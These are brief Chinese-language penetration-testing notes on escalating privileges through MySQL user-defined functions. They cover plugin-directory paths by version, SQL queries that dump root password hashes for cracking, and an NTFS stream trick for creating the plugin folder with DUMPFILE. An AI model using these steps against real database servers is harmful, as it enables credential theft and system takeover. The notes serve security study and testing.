udf可以自定义执行命令函数
5.0以下udf.dll没有路径限制
导出路径随意
5.0-5.1上传到系统目录
- 5.1-5.6上传到mysql安装目录下的lib\plugin\
mysql服务没有被降权,以高权限运行,且掌握root的账号密码
如果net user 出现mysql.则很可能已被降权
root密码查询
# MySQL <= 5.6 版本
select user,password from mysql.user where user='root';
# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;
将hash放入md5网站破解
sercure_file_priv为空,从而可以上传udf.dll
service mysqld stop service mysqld start
利用ntfs特性创建文件夹
创建lib文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
创建plugin文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'
//没有成功,猜测是权限问题导致
CREATE权限,FILE权限(root用户默认拥有所有权限)
select * from mysql.user where user = substring_index(user(), '@', 1)\G;